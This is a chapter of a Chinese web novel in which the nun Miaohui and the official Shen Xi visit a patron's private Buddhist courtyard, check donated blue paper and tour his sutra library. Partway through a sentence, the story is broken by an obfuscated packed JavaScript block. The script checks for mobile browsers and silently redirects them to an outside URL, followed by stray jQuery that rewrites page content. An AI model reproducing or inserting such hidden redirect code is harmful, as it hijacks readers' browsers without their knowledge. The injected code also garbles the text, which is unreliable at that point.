87. 入藏经阁
作品:《成欢记》 王展樊并不是顽固不化之人,虽然妙慧是尼姑身,但一则,她对佛法的研修与领悟远在一众出家人之上,这是王展樊邀请她来府讲经的根本原因,二则,他对妙慧的身世略知一二,如今见到本人,更为她的遭遇感到惋惜。若是她不曾家道巨变,想必以这样的容貌资质,早已被某位王孙贵胄聘为正妻了。
兴儿年纪还小,对这些男女之事还没有开窍。见沈溪为妙慧盛汤,只觉得这位大人人还怪好的咧!而柳叶则更加放了心,小沈大人对慧姐姐这么好,那慧姐姐为她求情一定管用。
一餐饭,主客皆吃得各怀心思。妙慧因担心沈溪又出什么幺蛾子,几乎没怎么动筷,只说自己一项吃得少,早上在庵里用的饭食还没怎么消化。王展樊人已至中年,注重养生之道,将每样菜吃了一点,便住了筷。
倒是沈溪,一大早为了搭妙慧的马车很早就起了,连个饭粒都没来得及吃,一路上只顾着说话,车内备的点心也没用,现下人早已饿得不行。偏偏他只有左手可用,只能让兴儿为他夹菜,吃得自然就比旁人慢些。只是他吃了一碗觉得还不尽兴,又让兴儿为他添了半碗,若不是不想让王展樊误会他是个饭桶,他只怕还能再接着吃。
终于等到沈溪把最后一粒米扒拉进肚,下人们服侍三人漱了口,就听王展樊道:“妙慧菩萨讲经的时间定在明日,地点就设在府内的‘一心院’,恰好存放瓷青纸的库房也在院中。不如老夫带两位前去转转,正好两位也可顺便监督清点瓷青纸的数目,下午便可送去普宁庵了。”
妙慧闻言,觉得一块心病总算得解,想到悟证住持见到瓷青纸后定会有助病情好转,她双手合十,深行一礼,向王展樊殷殷致谢。沈溪也拱手抱拳,诚恳地道:“员外郎于太皇太后寿诞之功劳,本官择机定会秉明圣上与太皇太后她老人家,为您请功嘉奖!”
王展樊则摆摆手,笑着还礼道:“世人皆知太皇太后诚心向佛,为佛法在我大齐的阐扬光大功不可没。老夫不过做了些微末小事,与太皇太后的功德相比,实在不足挂齿。”
“员外过谦了。”沈溪回道。
***
“一心院”位于府内的东南角,是一个极为舒朗明阔的院子。院内建筑依循天王殿—大雄宝殿—菩萨殿—法堂—藏经阁这一标准的寺院格局建制,只不过各座殿宇小巧精致,虽不比真正的寺院弘大气,但庄重肃穆的氛围却毫无二致。
每座殿内都供奉数十盏长明灯,香炉内檀香袅袅,飘散至院内。王展樊向沈溪和妙慧介绍,一心院灯油和佛香常年不断,即使他不住在府里,下人也会如常添油上香,以表对佛祖的虔诚。
妙慧甫一进院子就觉得莫名熟悉,待仔细看去,才发现院中一些细节的设计正是仿效大慈恩寺。这种在细微之处的用心,若不是她这种在大慈恩寺修行数年之人,断是发现不了的。可见,王展樊在京城居住时,经常去大慈恩寺礼佛。
正事为先,王展樊引着两人先去库房查验瓷青纸。
一心院的库房是一个宽大敞亮的开间,里面的布局被精心规划,不同种类的礼佛用具被分门别类地整齐存放,十分有序。足有两人高的瓷青纸被放在一处通风极佳的地方,可能是担心纸张受潮或被虫蚁啃食,因此四周撒了不少防潮和驱虫的药粉。其中,有一部分瓷青纸已被堆放在一旁,形成一个小方堆。
就在今日一早,邹管家就遵照王展樊的吩咐,遣了几个小厮来打包纸张,只待主子过目后就可装车。此时,小厮们见老爷带人进来,都停下手里的活计,毕恭毕敬地垂首立在一旁。一直跟在王展樊身后的邹管家上前一步,命小厮中一位面相老诚的下人当着众人的面,开始清点瓷青纸。
待所有纸张清点完毕,妙慧和沈溪发现,这位王员外所捐数目远比普宁庵损失的要多出许多,且这批纸的质地极好,定然价值不菲。两人心中感念,不由再次向王展樊道谢。
王展樊微笑颔首,示意邹管家让小厮们搬运装车,顺利的话今日傍晚便可到达普宁庵。
离开库房,几人便由管家引着朝法堂走去。只是在无人察觉的时候,妙慧悄悄地抓了几下手臂。
法堂是明日妙慧讲经之处。堂内正中悬挂毗卢遮那佛、释迦牟尼佛、阿弥陀佛三像,下置供桌,陈列香花、灯烛、果品等供物。前方设一座台,放有案桌和法座。此外,堂内还有数个长方台,台上分别置放铜磬、斗鼓、铙钹、手铃等法器。
与其他寺院的法堂不同,这里座台下方的听法席只有一个席位,显然是为王展樊准备的。
整座法堂一尘不染,桌案、地面擦拭得光可鉴人,鲜花果品颜色鲜艳、气味清新,一看便知是当日供奉上的。
妙慧对所有的安排都很是满意,只是......她微微蹙了蹙眉,对王展樊施了一礼,道:“员外有心了。一心院及法堂的布置很是周全,贫尼觉得无甚不妥,但......想必您一定知晓,僧尼在讲法时通常需要他人配合,或鸣奏法器或唱颂经文,可本次贫尼是孤身前来......”
“妙慧菩萨不必忧心,”还不待妙慧说完,王展樊便知她在顾虑什么,他不紧不慢地捋着胡须,对妙慧道,“府上有一跟随老夫多年的仆从,名唤了然。他本应在此恭迎两位,但几日前他听说有人在郊外的一个农户家中见到了一卷《法华经》手抄孤本,欢喜得很,当即便出府去寻了。不过请女菩萨放心,今晚他必定赶回,明日在您讲经时从旁协助,绝对不会让您在佛祖面前失仪。”
了然原是那位救治王展樊的老和尚的座下弟子,对礼佛之事颇为精通。当年王展樊归家时,他奉老和尚之命一道而来,从此便一直陪伴在王展樊身边再未离开,如今已人至中年。
“阿弥陀佛,如此甚好,这便再无不妥了。”妙慧舒然一笑,遂放了心。恰在这时,她的手臂上突然又泛起一阵痒意,她皱着眉又偷偷抓了几下。
“本官对佛经并无兴趣,但对孤本却颇有些好奇。如若这位了然师父当真寻得那卷《法华经》,本官可要亲眼一观了。”沈溪没有发觉妙慧的异样,听到王展樊提到孤本,文人性子便被勾了出来。自入府后,他发现这位王员外虽富贵荣华,但为人却朴质随和,全无卖弄炫耀,他认定此人可交,说话便不再拐弯抹角。
“能得小沈大人的青眼,了然定是荣幸之至。说起藏书,不是老夫夸口,我的藏经阁里倒是有些不多见的珍本拓本,小沈大人如若愿意,不妨品鉴一二?”王展樊眼睛笑成了两只月牙,诚挚地向沈溪邀请道。
“哦?既如此,那便有劳员外引路。”眼见瓷青纸一事落定,法堂布置甚妥,沈溪心情大好,当即便跟着王展樊提步向藏经阁走去。
妙慧本想尽快回房看看身上的情况,现下她不止是小臂,甚至连后背、小腿都开始发痒。可王展樊和沈溪兴致正浓,她实在不好扫了他们的兴,只好咬咬牙,硬着头皮跟上。
一心院中的藏经阁是一座两层木质小楼,上下两层布局基
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307903|175678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本一致。只见数个硕大的紫檀木壁柜沿墙而立,阁内正中并排放置多组书架,架上摆满了经论、法帖、经卷、字帖等。此外,阁中还设有桌案、卧房,供日常读经、休憩所用。
“这个藏经阁与我们老宅的那座藏经阁相比可小多了,经书数目连一半都不及。只不过这里所藏经书大多都是绝版,有些手抄本不乏出自名家手笔,故而也是珍贵得很了。”邹管家在一旁解说道。
这番说辞若是讲给旁人听也就罢了,偏偏面前这两位,一位是皇家寺院的住持,另一位则是文渊阁大学士之子,还曾高中榜眼,什么稀世珍品没见过?王展樊顿时觉得面上挂不住,赶忙道:“不过都是些寻常之物,让两位见笑了。”
沈溪和妙慧都听得出来,这不过是王展樊的谦辞。这座藏经阁应是一心院的紧要重地,否则柳叶和兴儿也不会立在门口不进来。恐怕是府里有规矩,他们这等下人未得许可,是不可踏入半步的。
“藏书也就罢了,这座楼当初建的时候每层着意挑高,故而会比一般的二层楼高出不少。”王展樊继续道,“也正因如此,人站于楼上视野开阔,可以俯瞰到府中全貌。”说着,他便扶着栏杆准备带两人上楼。
“老爷!”
这时,门外突然传来一个小厮的声音。几人回头一看,原来是门房里一个叫“满儿”的下人。他呼哧带喘,额头上冒出了一层密密的细汗,显然是一路跑来的。
“礼佛之地岂容高声喧哗,你平日里是怎么学的规矩?”邹管家赶忙上前喝道。
“不妨事,”王展樊看了眼邹管家,而后安慰满儿道,“有什么事慢慢说。”
“是。”满儿自知唐突,向王展樊几人恭恭敬敬地行礼过后才道,“老爷,前儿个来府上见您的夏行首又来了,说是有要事与您商议。”
“胡闹!昨晚就通知了你们,这几日老爷概不见客,怎地还让他进来了?”邹管家急着问道。
“没,我们让夏行首在府门外等着回话,没让他进来。”满儿耐心地解释道,“不过,夏行首很是着急,故而小的过来请老爷的示下,是见还是不见?”
“这......”邹管家这下没敢言语,他看着王展樊,一切还得让老爷拿主意。
王展樊心中已猜到其中缘故,应是夏行首从中牵线的一笔生意出了问题。夏行首年事已高,为此事已斡旋许久,王展樊正犹豫着是过去见,还是让他改日再来,只听身后沈溪言道:“王员外既有要务在身,便去忙吧。我们在藏经阁内略转一转便回房了,不用劳动您作陪。”
“这......”王展樊仍有些迟疑。虽然他觉得沈溪待人和善有礼,不摆官威,可毕竟他们只相处不过半日,不敢妄断此人的性情。万一这位小沈大人口不对心、心中记恨,他岂不是会因小失大,耽误明天的正事?
“您放心去就是,不必为难。”妙慧察觉到了王展樊的心思,一句话打消了他的顾虑。
有妙慧作保,王展樊心里有了底。他拱手再三道歉,出门时又叮嘱立在门外的柳叶和兴儿好生侍候两位贵人,随后便带着邹管家急匆匆地走了。
目送王展樊等人离去,妙慧急不可耐地抓了抓手臂。身上的痒意愈演愈烈,想着明天还要讲经,她现下恨不能立刻回房。
“小沈大人好雅兴,只是贫尼有些疲累,想先行回去休息。”妙慧急着向沈溪辞行,还不待他回应就转身向藏经阁外走。
“且慢!”沈溪突然开口道。